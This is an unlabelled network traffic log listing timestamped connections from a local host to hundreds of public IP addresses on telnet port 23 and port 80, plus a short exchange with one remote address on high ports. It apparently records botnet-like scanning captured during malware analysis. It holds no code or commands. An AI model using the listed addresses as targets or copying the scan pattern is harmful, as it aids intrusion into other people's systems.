Jan 5, 2025 14:26:54.443454981 CET	23	57214	73.51.24.44	192.168.2.13
Jan 5, 2025 14:26:54.443456888 CET	57214	23	192.168.2.13	23.172.133.179
Jan 5, 2025 14:26:54.443464041 CET	23	57214	67.120.182.49	192.168.2.13
Jan 5, 2025 14:26:54.443471909 CET	57214	23	192.168.2.13	166.105.75.245
Jan 5, 2025 14:26:54.443473101 CET	23	57214	20.241.94.156	192.168.2.13
Jan 5, 2025 14:26:54.443473101 CET	57214	23	192.168.2.13	146.136.15.213
Jan 5, 2025 14:26:54.443478107 CET	23	57214	103.77.152.64	192.168.2.13
Jan 5, 2025 14:26:54.443485975 CET	57214	23	192.168.2.13	73.51.24.44
Jan 5, 2025 14:26:54.443489075 CET	57214	23	192.168.2.13	67.120.182.49
Jan 5, 2025 14:26:54.443492889 CET	23	57214	34.113.221.76	192.168.2.13
Jan 5, 2025 14:26:54.443506002 CET	57214	23	192.168.2.13	103.77.152.64
Jan 5, 2025 14:26:54.443514109 CET	23	57214	31.149.193.215	192.168.2.13
Jan 5, 2025 14:26:54.443514109 CET	57214	23	192.168.2.13	20.241.94.156
Jan 5, 2025 14:26:54.443521023 CET	57214	23	192.168.2.13	34.113.221.76
Jan 5, 2025 14:26:54.443527937 CET	23	57214	160.247.62.57	192.168.2.13
Jan 5, 2025 14:26:54.443536997 CET	23	57214	47.147.97.20	192.168.2.13
Jan 5, 2025 14:26:54.443545103 CET	23	57214	103.255.119.237	192.168.2.13
Jan 5, 2025 14:26:54.443552971 CET	57214	23	192.168.2.13	31.149.193.215
Jan 5, 2025 14:26:54.443553925 CET	23	57214	143.98.2.216	192.168.2.13
Jan 5, 2025 14:26:54.443562984 CET	57214	23	192.168.2.13	160.247.62.57
Jan 5, 2025 14:26:54.443562984 CET	57214	23	192.168.2.13	47.147.97.20
Jan 5, 2025 14:26:54.443563938 CET	23	57214	120.161.233.254	192.168.2.13
Jan 5, 2025 14:26:54.443572044 CET	23	57214	34.58.82.188	192.168.2.13
Jan 5, 2025 14:26:54.443579912 CET	57214	23	192.168.2.13	103.255.119.237
Jan 5, 2025 14:26:54.443581104 CET	23	57214	67.31.108.92	192.168.2.13
Jan 5, 2025 14:26:54.443582058 CET	57214	23	192.168.2.13	143.98.2.216
Jan 5, 2025 14:26:54.443584919 CET	23	57214	24.199.77.104	192.168.2.13
Jan 5, 2025 14:26:54.443593979 CET	23	57214	41.194.41.53	192.168.2.13
Jan 5, 2025 14:26:54.443598032 CET	57214	23	192.168.2.13	120.161.233.254
Jan 5, 2025 14:26:54.443602085 CET	23	57214	197.218.162.133	192.168.2.13
Jan 5, 2025 14:26:54.443603039 CET	57214	23	192.168.2.13	34.58.82.188
Jan 5, 2025 14:26:54.443610907 CET	57214	23	192.168.2.13	24.199.77.104
Jan 5, 2025 14:26:54.443610907 CET	23	57214	194.244.150.1	192.168.2.13
Jan 5, 2025 14:26:54.443617105 CET	57214	23	192.168.2.13	67.31.108.92
Jan 5, 2025 14:26:54.443620920 CET	23	57214	197.175.113.66	192.168.2.13
Jan 5, 2025 14:26:54.443620920 CET	57214	23	192.168.2.13	41.194.41.53
Jan 5, 2025 14:26:54.443624020 CET	57214	23	192.168.2.13	197.218.162.133
Jan 5, 2025 14:26:54.443634987 CET	57214	23	192.168.2.13	194.244.150.1
Jan 5, 2025 14:26:54.443638086 CET	23	57214	84.56.144.139	192.168.2.13
Jan 5, 2025 14:26:54.443646908 CET	23	57214	141.91.95.118	192.168.2.13
Jan 5, 2025 14:26:54.443661928 CET	23	57214	92.154.38.160	192.168.2.13
Jan 5, 2025 14:26:54.443665981 CET	57214	23	192.168.2.13	84.56.144.139
Jan 5, 2025 14:26:54.443665981 CET	57214	23	192.168.2.13	197.175.113.66
Jan 5, 2025 14:26:54.443670988 CET	23	57214	165.123.11.33	192.168.2.13
Jan 5, 2025 14:26:54.443675995 CET	57214	23	192.168.2.13	141.91.95.118
Jan 5, 2025 14:26:54.443679094 CET	23	57214	110.60.219.54	192.168.2.13
Jan 5, 2025 14:26:54.443689108 CET	23	57214	130.151.234.42	192.168.2.13
Jan 5, 2025 14:26:54.443697929 CET	23	57214	105.17.124.215	192.168.2.13
Jan 5, 2025 14:26:54.443701982 CET	23	57214	116.205.197.55	192.168.2.13
Jan 5, 2025 14:26:54.443703890 CET	57214	23	192.168.2.13	165.123.11.33
Jan 5, 2025 14:26:54.443703890 CET	57214	23	192.168.2.13	92.154.38.160
Jan 5, 2025 14:26:54.443711042 CET	23	57214	120.190.97.175	192.168.2.13
Jan 5, 2025 14:26:54.443712950 CET	57214	23	192.168.2.13	110.60.219.54
Jan 5, 2025 14:26:54.443718910 CET	23	57214	211.35.1.190	192.168.2.13
Jan 5, 2025 14:26:54.443726063 CET	57214	23	192.168.2.13	105.17.124.215
Jan 5, 2025 14:26:54.443727970 CET	23	57214	39.125.74.121	192.168.2.13
Jan 5, 2025 14:26:54.443731070 CET	57214	23	192.168.2.13	116.205.197.55
Jan 5, 2025 14:26:54.443737984 CET	23	57214	58.2.249.68	192.168.2.13
Jan 5, 2025 14:26:54.443737984 CET	57214	23	192.168.2.13	130.151.234.42
Jan 5, 2025 14:26:54.443746090 CET	23	57214	45.245.219.222	192.168.2.13
Jan 5, 2025 14:26:54.443749905 CET	57214	23	192.168.2.13	120.190.97.175
Jan 5, 2025 14:26:54.443753958 CET	23	57214	154.191.162.43	192.168.2.13
Jan 5, 2025 14:26:54.443757057 CET	57214	23	192.168.2.13	211.35.1.190
Jan 5, 2025 14:26:54.443758011 CET	57214	23	192.168.2.13	39.125.74.121
Jan 5, 2025 14:26:54.443763971 CET	23	57214	129.177.43.41	192.168.2.13
Jan 5, 2025 14:26:54.443768024 CET	57214	23	192.168.2.13	58.2.249.68
Jan 5, 2025 14:26:54.443779945 CET	57214	23	192.168.2.13	45.245.219.222
Jan 5, 2025 14:26:54.443782091 CET	23	57214	184.48.162.221	192.168.2.13
Jan 5, 2025 14:26:54.443783045 CET	57214	23	192.168.2.13	154.191.162.43
Jan 5, 2025 14:26:54.443790913 CET	23	57214	83.164.91.185	192.168.2.13
Jan 5, 2025 14:26:54.443797112 CET	57214	23	192.168.2.13	129.177.43.41
Jan 5, 2025 14:26:54.443799019 CET	23	57214	44.165.57.119	192.168.2.13
Jan 5, 2025 14:26:54.443808079 CET	23	57214	221.89.55.203	192.168.2.13
Jan 5, 2025 14:26:54.443820000 CET	57214	23	192.168.2.13	184.48.162.221
Jan 5, 2025 14:26:54.443825006 CET	23	57214	69.121.8.31	192.168.2.13
Jan 5, 2025 14:26:54.443828106 CET	57214	23	192.168.2.13	44.165.57.119
Jan 5, 2025 14:26:54.443835974 CET	57214	23	192.168.2.13	83.164.91.185
Jan 5, 2025 14:26:54.443835974 CET	57214	23	192.168.2.13	221.89.55.203
Jan 5, 2025 14:26:54.443836927 CET	23	57214	128.131.101.154	192.168.2.13
Jan 5, 2025 14:26:54.443845987 CET	23	57214	75.102.191.85	192.168.2.13
Jan 5, 2025 14:26:54.443855047 CET	23	57214	27.247.196.99	192.168.2.13
Jan 5, 2025 14:26:54.443856001 CET	57214	23	192.168.2.13	69.121.8.31
Jan 5, 2025 14:26:54.443864107 CET	23	57214	191.173.94.100	192.168.2.13
Jan 5, 2025 14:26:54.443872929 CET	23	57214	153.82.121.246	192.168.2.13
Jan 5, 2025 14:26:54.443876982 CET	57214	23	192.168.2.13	128.131.101.154
Jan 5, 2025 14:26:54.443877935 CET	57214	23	192.168.2.13	75.102.191.85
Jan 5, 2025 14:26:54.443881989 CET	23	57214	48.180.106.184	192.168.2.13
Jan 5, 2025 14:26:54.443891048 CET	23	57214	80.60.129.22	192.168.2.13
Jan 5, 2025 14:26:54.443891048 CET	57214	23	192.168.2.13	27.247.196.99
Jan 5, 2025 14:26:54.443892002 CET	57214	23	192.168.2.13	191.173.94.100
Jan 5, 2025 14:26:54.443903923 CET	57214	23	192.168.2.13	153.82.121.246
Jan 5, 2025 14:26:54.443934917 CET	57214	23	192.168.2.13	80.60.129.22
Jan 5, 2025 14:26:54.443936110 CET	57214	23	192.168.2.13	48.180.106.184
Jan 5, 2025 14:26:54.575277090 CET	59666	51416	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:54.575411081 CET	51416	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:54.580302954 CET	59666	51416	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:54.633618116 CET	56958	80	192.168.2.13	123.198.94.11
Jan 5, 2025 14:26:54.633618116 CET	56958	80	192.168.2.13	130.171.189.113
Jan 5, 2025 14:26:54.633618116 CET	56958	80	192.168.2.13	112.40.138.124
Jan 5, 2025 14:26:54.633618116 CET	56958	80	192.168.2.13	49.175.63.25
Jan 5, 2025 14:26:54.633618116 CET	56958	80	192.168.2.13	119.181.178.16
Jan 5, 2025 14:26:54.633618116 CET	56958	80	192.168.2.13	112.100.244.25
Jan 5, 2025 14:26:54.633619070 CET	56958	80	192.168.2.13	90.161.70.11
Jan 5, 2025 14:26:54.633618116 CET	56958	80	192.168.2.13	150.212.74.93
Jan 5, 2025 14:26:54.633619070 CET	56958	80	192.168.2.13	93.142.68.139
Jan 5, 2025 14:26:54.633621931 CET	56958	80	192.168.2.13	87.145.7.72
Jan 5, 2025 14:26:54.633620977 CET	56958	80	192.168.2.13	44.245.49.18
Jan 5, 2025 14:26:54.633622885 CET	56958	80	192.168.2.13	155.116.17.180
Jan 5, 2025 14:26:54.633620977 CET	56958	80	192.168.2.13	212.225.7.65
Jan 5, 2025 14:26:54.633618116 CET	56958	80	192.168.2.13	25.176.189.45
Jan 5, 2025 14:26:54.633622885 CET	56958	80	192.168.2.13	124.161.18.153
Jan 5, 2025 14:26:54.633620977 CET	56958	80	192.168.2.13	211.197.169.193
Jan 5, 2025 14:26:54.633625031 CET	56958	80	192.168.2.13	201.170.158.50
Jan 5, 2025 14:26:54.633621931 CET	56958	80	192.168.2.13	4.202.17.155
Jan 5, 2025 14:26:54.633625984 CET	56958	80	192.168.2.13	154.229.172.57
Jan 5, 2025 14:26:54.633621931 CET	56958	80	192.168.2.13	78.17.249.227
Jan 5, 2025 14:26:54.633625984 CET	56958	80	192.168.2.13	24.143.130.234
Jan 5, 2025 14:26:54.633621931 CET	56958	80	192.168.2.13	181.229.40.154
Jan 5, 2025 14:26:54.633632898 CET	56958	80	192.168.2.13	8.39.136.201
Jan 5, 2025 14:26:54.633625984 CET	56958	80	192.168.2.13	175.139.103.123
Jan 5, 2025 14:26:54.633621931 CET	56958	80	192.168.2.13	190.196.31.202
Jan 5, 2025 14:26:54.633632898 CET	56958	80	192.168.2.13	53.232.140.191
Jan 5, 2025 14:26:54.633632898 CET	56958	80	192.168.2.13	27.215.249.24
Jan 5, 2025 14:26:54.633632898 CET	56958	80	192.168.2.13	89.44.111.180
Jan 5, 2025 14:26:54.633632898 CET	56958	80	192.168.2.13	131.111.205.127
Jan 5, 2025 14:26:54.633632898 CET	56958	80	192.168.2.13	171.107.63.196
Jan 5, 2025 14:26:54.633675098 CET	56958	80	192.168.2.13	129.10.156.123
Jan 5, 2025 14:26:54.633675098 CET	56958	80	192.168.2.13	41.49.173.80
Jan 5, 2025 14:26:54.633675098 CET	56958	80	192.168.2.13	218.115.10.109
Jan 5, 2025 14:26:54.633675098 CET	56958	80	192.168.2.13	205.119.104.132
Jan 5, 2025 14:26:54.633675098 CET	56958	80	192.168.2.13	131.103.156.65
Jan 5, 2025 14:26:54.633675098 CET	56958	80	192.168.2.13	72.234.203.219
Jan 5, 2025 14:26:54.633675098 CET	56958	80	192.168.2.13	142.44.51.78
Jan 5, 2025 14:26:54.633675098 CET	56958	80	192.168.2.13	157.254.4.135
Jan 5, 2025 14:26:54.633682966 CET	56958	80	192.168.2.13	1.29.136.10
Jan 5, 2025 14:26:54.633682966 CET	56958	80	192.168.2.13	32.80.57.10
Jan 5, 2025 14:26:54.633682966 CET	56958	80	192.168.2.13	211.106.133.65
Jan 5, 2025 14:26:54.633682966 CET	56958	80	192.168.2.13	126.19.238.23
Jan 5, 2025 14:26:54.633682966 CET	56958	80	192.168.2.13	100.132.53.207
Jan 5, 2025 14:26:54.633682966 CET	56958	80	192.168.2.13	110.38.192.105
Jan 5, 2025 14:26:54.633682966 CET	56958	80	192.168.2.13	211.55.21.210
Jan 5, 2025 14:26:54.633685112 CET	56958	80	192.168.2.13	211.240.92.139
Jan 5, 2025 14:26:54.633682966 CET	56958	80	192.168.2.13	143.0.190.120
Jan 5, 2025 14:26:54.633685112 CET	56958	80	192.168.2.13	80.126.193.25
Jan 5, 2025 14:26:54.633685112 CET	56958	80	192.168.2.13	144.166.64.197
Jan 5, 2025 14:26:54.633694887 CET	56958	80	192.168.2.13	81.192.235.179
Jan 5, 2025 14:26:54.633694887 CET	56958	80	192.168.2.13	220.27.162.4
Jan 5, 2025 14:26:54.633694887 CET	56958	80	192.168.2.13	77.203.138.248
Jan 5, 2025 14:26:54.633696079 CET	56958	80	192.168.2.13	59.24.44.103
Jan 5, 2025 14:26:54.633694887 CET	56958	80	192.168.2.13	94.212.157.196
Jan 5, 2025 14:26:54.633696079 CET	56958	80	192.168.2.13	209.61.34.222
Jan 5, 2025 14:26:54.633697987 CET	56958	80	192.168.2.13	170.83.200.27
Jan 5, 2025 14:26:54.633697033 CET	56958	80	192.168.2.13	57.255.235.110
Jan 5, 2025 14:26:54.633696079 CET	56958	80	192.168.2.13	143.76.150.173
Jan 5, 2025 14:26:54.633697033 CET	56958	80	192.168.2.13	106.189.208.102
Jan 5, 2025 14:26:54.633697987 CET	56958	80	192.168.2.13	1.186.188.211
Jan 5, 2025 14:26:54.633694887 CET	56958	80	192.168.2.13	37.62.140.153
Jan 5, 2025 14:26:54.633697987 CET	56958	80	192.168.2.13	5.251.60.190
Jan 5, 2025 14:26:54.633694887 CET	56958	80	192.168.2.13	191.131.176.153
Jan 5, 2025 14:26:54.633696079 CET	56958	80	192.168.2.13	145.178.140.169
Jan 5, 2025 14:26:54.633694887 CET	56958	80	192.168.2.13	160.44.67.202
Jan 5, 2025 14:26:54.633702993 CET	56958	80	192.168.2.13	188.69.0.95
Jan 5, 2025 14:26:54.633696079 CET	56958	80	192.168.2.13	23.99.152.32
Jan 5, 2025 14:26:54.633699894 CET	56958	80	192.168.2.13	201.223.140.68
Jan 5, 2025 14:26:54.633702993 CET	56958	80	192.168.2.13	123.186.151.53
Jan 5, 2025 14:26:54.633697033 CET	56958	80	192.168.2.13	120.98.161.93
Jan 5, 2025 14:26:54.633696079 CET	56958	80	192.168.2.13	192.32.9.70
Jan 5, 2025 14:26:54.633713961 CET	56958	80	192.168.2.13	196.219.128.125
Jan 5, 2025 14:26:54.633697033 CET	56958	80	192.168.2.13	41.229.246.148
Jan 5, 2025 14:26:54.633713961 CET	56958	80	192.168.2.13	37.148.149.133
Jan 5, 2025 14:26:54.633702993 CET	56958	80	192.168.2.13	41.169.173.255
Jan 5, 2025 14:26:54.633696079 CET	56958	80	192.168.2.13	120.12.194.192
Jan 5, 2025 14:26:54.633718967 CET	56958	80	192.168.2.13	186.5.197.165
Jan 5, 2025 14:26:54.633708000 CET	56958	80	192.168.2.13	211.19.88.6
Jan 5, 2025 14:26:54.633699894 CET	56958	80	192.168.2.13	74.237.44.49
Jan 5, 2025 14:26:54.633713961 CET	56958	80	192.168.2.13	144.254.244.133
Jan 5, 2025 14:26:54.633718967 CET	56958	80	192.168.2.13	130.176.108.189
Jan 5, 2025 14:26:54.633702993 CET	56958	80	192.168.2.13	90.150.18.123
Jan 5, 2025 14:26:54.633718967 CET	56958	80	192.168.2.13	211.64.83.14
Jan 5, 2025 14:26:54.633697033 CET	56958	80	192.168.2.13	165.36.88.84
Jan 5, 2025 14:26:54.633718967 CET	56958	80	192.168.2.13	109.217.185.168
Jan 5, 2025 14:26:54.633708000 CET	56958	80	192.168.2.13	94.139.49.23
Jan 5, 2025 14:26:54.633697033 CET	56958	80	192.168.2.13	73.165.245.172
Jan 5, 2025 14:26:54.633718967 CET	56958	80	192.168.2.13	222.87.58.198
Jan 5, 2025 14:26:54.633728027 CET	56958	80	192.168.2.13	122.12.208.217
Jan 5, 2025 14:26:54.633730888 CET	56958	80	192.168.2.13	135.23.30.41
Jan 5, 2025 14:26:54.633699894 CET	56958	80	192.168.2.13	32.156.99.224
Jan 5, 2025 14:26:54.633728027 CET	56958	80	192.168.2.13	125.56.152.102
Jan 5, 2025 14:26:54.633697033 CET	56958	80	192.168.2.13	206.38.178.20
Jan 5, 2025 14:26:54.633702993 CET	56958	80	192.168.2.13	65.66.114.11
Jan 5, 2025 14:26:54.633730888 CET	56958	80	192.168.2.13	150.79.222.19
Jan 5, 2025 14:26:54.633728027 CET	56958	80	192.168.2.13	38.68.231.197
Jan 5, 2025 14:26:54.633708000 CET	56958	80	192.168.2.13	44.225.71.154
Jan 5, 2025 14:26:54.633702993 CET	56958	80	192.168.2.13	203.5.176.126
Jan 5, 2025 14:26:54.633697033 CET	56958	80	192.168.2.13	72.141.148.189
Jan 5, 2025 14:26:54.633703947 CET	56958	80	192.168.2.13	117.11.146.158
Jan 5, 2025 14:26:54.633718967 CET	56958	80	192.168.2.13	76.101.131.23
Jan 5, 2025 14:26:54.633708000 CET	56958	80	192.168.2.13	123.39.195.137
Jan 5, 2025 14:26:54.633703947 CET	56958	80	192.168.2.13	135.96.82.151
Jan 5, 2025 14:26:54.633708000 CET	56958	80	192.168.2.13	53.231.49.216
Jan 5, 2025 14:26:54.633699894 CET	56958	80	192.168.2.13	128.69.222.77
Jan 5, 2025 14:26:54.633718967 CET	56958	80	192.168.2.13	46.25.161.122
Jan 5, 2025 14:26:54.633708000 CET	56958	80	192.168.2.13	111.123.40.130
Jan 5, 2025 14:26:54.633745909 CET	56958	80	192.168.2.13	61.202.225.3
Jan 5, 2025 14:26:54.633699894 CET	56958	80	192.168.2.13	222.208.55.105
Jan 5, 2025 14:26:54.633718967 CET	56958	80	192.168.2.13	202.37.142.107
Jan 5, 2025 14:26:54.633728027 CET	56958	80	192.168.2.13	31.95.221.238
Jan 5, 2025 14:26:54.633708954 CET	56958	80	192.168.2.13	129.188.85.167
Jan 5, 2025 14:26:54.633718967 CET	56958	80	192.168.2.13	74.95.87.233
Jan 5, 2025 14:26:54.633752108 CET	56958	80	192.168.2.13	153.64.57.243
Jan 5, 2025 14:26:54.633752108 CET	56958	80	192.168.2.13	5.229.67.54
Jan 5, 2025 14:26:54.633754015 CET	56958	80	192.168.2.13	24.94.192.210
Jan 5, 2025 14:26:54.633728027 CET	56958	80	192.168.2.13	116.213.25.204
Jan 5, 2025 14:26:54.633742094 CET	56958	80	192.168.2.13	25.21.235.151
Jan 5, 2025 14:26:54.633728027 CET	56958	80	192.168.2.13	125.60.100.149
Jan 5, 2025 14:26:54.633699894 CET	56958	80	192.168.2.13	78.74.105.122
Jan 5, 2025 14:26:54.633752108 CET	56958	80	192.168.2.13	148.161.159.19
Jan 5, 2025 14:26:54.633760929 CET	56958	80	192.168.2.13	118.21.92.232
Jan 5, 2025 14:26:54.633752108 CET	56958	80	192.168.2.13	168.211.66.37
Jan 5, 2025 14:26:54.633754015 CET	56958	80	192.168.2.13	99.161.167.50
Jan 5, 2025 14:26:54.633752108 CET	56958	80	192.168.2.13	116.178.3.156
Jan 5, 2025 14:26:54.633754969 CET	56958	80	192.168.2.13	128.208.132.130
Jan 5, 2025 14:26:54.633760929 CET	56958	80	192.168.2.13	150.100.140.33
Jan 5, 2025 14:26:54.633728027 CET	56958	80	192.168.2.13	163.187.179.201
Jan 5, 2025 14:26:54.633760929 CET	56958	80	192.168.2.13	166.151.212.138
Jan 5, 2025 14:26:54.633754969 CET	56958	80	192.168.2.13	49.190.242.6
Jan 5, 2025 14:26:54.633752108 CET	56958	80	192.168.2.13	81.57.45.211
Jan 5, 2025 14:26:54.633760929 CET	56958	80	192.168.2.13	79.45.218.227
Jan 5, 2025 14:26:54.633708954 CET	56958	80	192.168.2.13	193.216.147.9
Jan 5, 2025 14:26:54.633752108 CET	56958	80	192.168.2.13	97.51.224.23
Jan 5, 2025 14:26:54.633728027 CET	56958	80	192.168.2.13	54.126.11.111
Jan 5, 2025 14:26:54.633752108 CET	56958	80	192.168.2.13	52.237.244.153
Jan 5, 2025 14:26:54.633699894 CET	56958	80	192.168.2.13	190.75.55.216
Jan 5, 2025 14:26:54.633760929 CET	56958	80	192.168.2.13	222.59.74.66
Jan 5, 2025 14:26:54.633742094 CET	56958	80	192.168.2.13	37.108.62.67
Jan 5, 2025 14:26:54.633699894 CET	56958	80	192.168.2.13	174.183.233.2
Jan 5, 2025 14:26:54.633742094 CET	56958	80	192.168.2.13	48.246.219.184
Jan 5, 2025 14:26:54.633742094 CET	56958	80	192.168.2.13	78.210.246.0
Jan 5, 2025 14:26:54.633742094 CET	56958	80	192.168.2.13	157.191.62.95
Jan 5, 2025 14:26:54.633754969 CET	56958	80	192.168.2.13	106.233.112.199
Jan 5, 2025 14:26:54.633754969 CET	56958	80	192.168.2.13	35.255.1.105
Jan 5, 2025 14:26:54.633754969 CET	56958	80	192.168.2.13	195.216.53.15
Jan 5, 2025 14:26:54.633754969 CET	56958	80	192.168.2.13	207.145.154.152
Jan 5, 2025 14:26:54.633781910 CET	56958	80	192.168.2.13	187.187.42.183
Jan 5, 2025 14:26:54.633781910 CET	56958	80	192.168.2.13	203.246.169.41
Jan 5, 2025 14:26:54.633781910 CET	56958	80	192.168.2.13	150.154.15.200
Jan 5, 2025 14:26:54.633783102 CET	56958	80	192.168.2.13	146.161.110.120
Jan 5, 2025 14:26:54.633783102 CET	56958	80	192.168.2.13	191.65.91.71
Jan 5, 2025 14:26:54.633784056 CET	56958	80	192.168.2.13	183.60.240.89
Jan 5, 2025 14:26:54.633785009 CET	56958	80	192.168.2.13	115.219.120.141
Jan 5, 2025 14:26:54.633785963 CET	56958	80	192.168.2.13	73.169.15.151
Jan 5, 2025 14:26:54.633789062 CET	56958	80	192.168.2.13	166.88.50.158
Jan 5, 2025 14:26:54.633789062 CET	56958	80	192.168.2.13	155.231.109.165
Jan 5, 2025 14:26:54.633789062 CET	56958	80	192.168.2.13	123.204.249.236
Jan 5, 2025 14:26:54.633789062 CET	56958	80	192.168.2.13	69.60.205.109
Jan 5, 2025 14:26:54.633789062 CET	56958	80	192.168.2.13	59.128.90.10
Jan 5, 2025 14:26:54.633789062 CET	56958	80	192.168.2.13	162.76.98.229
Jan 5, 2025 14:26:54.633789062 CET	56958	80	192.168.2.13	18.203.73.126
Jan 5, 2025 14:26:54.633790970 CET	56958	80	192.168.2.13	199.184.105.112
Jan 5, 2025 14:26:54.633789062 CET	56958	80	192.168.2.13	190.40.121.216
Jan 5, 2025 14:26:54.633790970 CET	56958	80	192.168.2.13	8.80.162.169
Jan 5, 2025 14:26:54.633789062 CET	56958	80	192.168.2.13	42.44.99.159
Jan 5, 2025 14:26:54.633791924 CET	56958	80	192.168.2.13	65.140.168.25
Jan 5, 2025 14:26:54.633789062 CET	56958	80	192.168.2.13	39.63.30.49
Jan 5, 2025 14:26:54.633795977 CET	56958	80	192.168.2.13	40.34.122.231
Jan 5, 2025 14:26:54.633791924 CET	56958	80	192.168.2.13	128.221.79.249
Jan 5, 2025 14:26:54.633791924 CET	56958	80	192.168.2.13	106.71.50.242
Jan 5, 2025 14:26:54.633791924 CET	56958	80	192.168.2.13	62.185.27.241
Jan 5, 2025 14:26:54.633791924 CET	56958	80	192.168.2.13	160.62.128.209
Jan 5, 2025 14:26:54.633791924 CET	56958	80	192.168.2.13	64.133.43.74
Jan 5, 2025 14:26:54.633804083 CET	56958	80	192.168.2.13	131.61.158.160
Jan 5, 2025 14:26:54.633802891 CET	56958	80	192.168.2.13	154.194.204.1
Jan 5, 2025 14:26:54.633805037 CET	56958	80	192.168.2.13	144.163.205.100
Jan 5, 2025 14:26:54.633805037 CET	56958	80	192.168.2.13	187.246.244.103
Jan 5, 2025 14:26:54.633805037 CET	56958	80	192.168.2.13	93.240.238.185
Jan 5, 2025 14:26:54.633809090 CET	56958	80	192.168.2.13	117.246.52.155
Jan 5, 2025 14:26:54.633809090 CET	56958	80	192.168.2.13	54.120.12.191
Jan 5, 2025 14:26:54.633809090 CET	56958	80	192.168.2.13	62.134.246.211
Jan 5, 2025 14:26:54.633809090 CET	56958	80	192.168.2.13	158.126.192.224
Jan 5, 2025 14:26:54.633809090 CET	56958	80	192.168.2.13	63.222.245.46
Jan 5, 2025 14:26:54.633822918 CET	56958	80	192.168.2.13	83.200.140.125
Jan 5, 2025 14:26:54.633825064 CET	56958	80	192.168.2.13	165.211.211.163
Jan 5, 2025 14:26:54.633838892 CET	56958	80	192.168.2.13	133.139.187.58
Jan 5, 2025 14:26:54.633842945 CET	56958	80	192.168.2.13	62.96.156.113
Jan 5, 2025 14:26:54.633846045 CET	56958	80	192.168.2.13	204.132.47.198
Jan 5, 2025 14:26:54.633865118 CET	56958	80	192.168.2.13	124.10.69.48
Jan 5, 2025 14:26:54.633865118 CET	56958	80	192.168.2.13	173.255.132.120
Jan 5, 2025 14:26:54.633865118 CET	56958	80	192.168.2.13	46.181.54.27
Jan 5, 2025 14:26:54.633865118 CET	56958	80	192.168.2.13	98.67.188.211
Jan 5, 2025 14:26:54.633865118 CET	56958	80	192.168.2.13	121.241.211.116
Jan 5, 2025 14:26:54.633873940 CET	56958	80	192.168.2.13	43.254.194.157
Jan 5, 2025 14:26:54.633874893 CET	56958	80	192.168.2.13	124.211.185.245
Jan 5, 2025 14:26:54.633874893 CET	56958	80	192.168.2.13	173.28.6.133
Jan 5, 2025 14:26:54.633894920 CET	56958	80	192.168.2.13	25.99.195.231
Jan 5, 2025 14:26:54.633899927 CET	56958	80	192.168.2.13	152.133.57.20
Jan 5, 2025 14:26:54.633899927 CET	56958	80	192.168.2.13	185.45.226.221
Jan 5, 2025 14:26:54.633899927 CET	56958	80	192.168.2.13	84.207.233.65
Jan 5, 2025 14:26:54.633900881 CET	56958	80	192.168.2.13	70.35.159.161
Jan 5, 2025 14:26:54.633900881 CET	56958	80	192.168.2.13	101.229.130.21
Jan 5, 2025 14:26:54.633900881 CET	56958	80	192.168.2.13	57.215.9.35
Jan 5, 2025 14:26:54.633904934 CET	56958	80	192.168.2.13	211.169.240.50
Jan 5, 2025 14:26:54.633907080 CET	56958	80	192.168.2.13	161.122.50.100
Jan 5, 2025 14:26:54.633922100 CET	56958	80	192.168.2.13	130.92.192.101
Jan 5, 2025 14:26:54.633925915 CET	56958	80	192.168.2.13	19.29.187.229
Jan 5, 2025 14:26:54.633936882 CET	56958	80	192.168.2.13	70.200.191.141
Jan 5, 2025 14:26:54.633946896 CET	56958	80	192.168.2.13	107.141.175.54
Jan 5, 2025 14:26:54.633948088 CET	56958	80	192.168.2.13	116.151.76.112
Jan 5, 2025 14:26:54.633949041 CET	56958	80	192.168.2.13	51.50.224.118
Jan 5, 2025 14:26:54.633955002 CET	56958	80	192.168.2.13	81.112.114.45
Jan 5, 2025 14:26:54.633955002 CET	56958	80	192.168.2.13	70.151.9.23
Jan 5, 2025 14:26:54.633958101 CET	56958	80	192.168.2.13	46.22.201.8
Jan 5, 2025 14:26:54.633958101 CET	56958	80	192.168.2.13	156.222.190.78
Jan 5, 2025 14:26:54.633964062 CET	56958	80	192.168.2.13	223.24.243.25
Jan 5, 2025 14:26:54.633968115 CET	56958	80	192.168.2.13	201.156.33.61
Jan 5, 2025 14:26:54.633979082 CET	56958	80	192.168.2.13	60.156.51.198
Jan 5, 2025 14:26:54.633980989 CET	56958	80	192.168.2.13	84.156.61.237
Jan 5, 2025 14:26:54.633980989 CET	56958	80	192.168.2.13	141.22.0.71
Jan 5, 2025 14:26:54.633986950 CET	56958	80	192.168.2.13	157.149.187.202
Jan 5, 2025 14:26:54.633999109 CET	56958	80	192.168.2.13	162.105.11.179
Jan 5, 2025 14:26:54.634000063 CET	56958	80	192.168.2.13	201.216.155.90
Jan 5, 2025 14:26:54.634002924 CET	56958	80	192.168.2.13	57.62.238.172
Jan 5, 2025 14:26:54.634002924 CET	56958	80	192.168.2.13	23.20.253.200
Jan 5, 2025 14:26:54.634005070 CET	56958	80	192.168.2.13	196.201.49.107
Jan 5, 2025 14:26:54.634006977 CET	56958	80	192.168.2.13	171.51.223.202
Jan 5, 2025 14:26:54.634021997 CET	56958	80	192.168.2.13	208.221.57.150
Jan 5, 2025 14:26:54.634026051 CET	56958	80	192.168.2.13	63.76.236.89
Jan 5, 2025 14:26:54.634032011 CET	56958	80	192.168.2.13	190.148.220.233
Jan 5, 2025 14:26:54.634043932 CET	56958	80	192.168.2.13	48.121.42.180
Jan 5, 2025 14:26:54.634047985 CET	56958	80	192.168.2.13	168.184.209.251
Jan 5, 2025 14:26:54.634059906 CET	56958	80	192.168.2.13	123.185.80.106
Jan 5, 2025 14:26:54.634061098 CET	56958	80	192.168.2.13	75.156.121.54
Jan 5, 2025 14:26:54.634077072 CET	56958	80	192.168.2.13	193.151.40.15
Jan 5, 2025 14:26:54.634079933 CET	56958	80	192.168.2.13	66.152.184.155
Jan 5, 2025 14:26:54.634079933 CET	56958	80	192.168.2.13	198.88.28.151
Jan 5, 2025 14:26:54.634085894 CET	56958	80	192.168.2.13	73.162.71.104
Jan 5, 2025 14:26:54.634088039 CET	56958	80	192.168.2.13	213.174.165.196
Jan 5, 2025 14:26:54.634088039 CET	56958	80	192.168.2.13	9.176.224.56
Jan 5, 2025 14:26:54.634088993 CET	56958	80	192.168.2.13	36.81.244.101
Jan 5, 2025 14:26:54.634088993 CET	56958	80	192.168.2.13	68.250.11.98
Jan 5, 2025 14:26:54.634095907 CET	56958	80	192.168.2.13	113.212.60.117
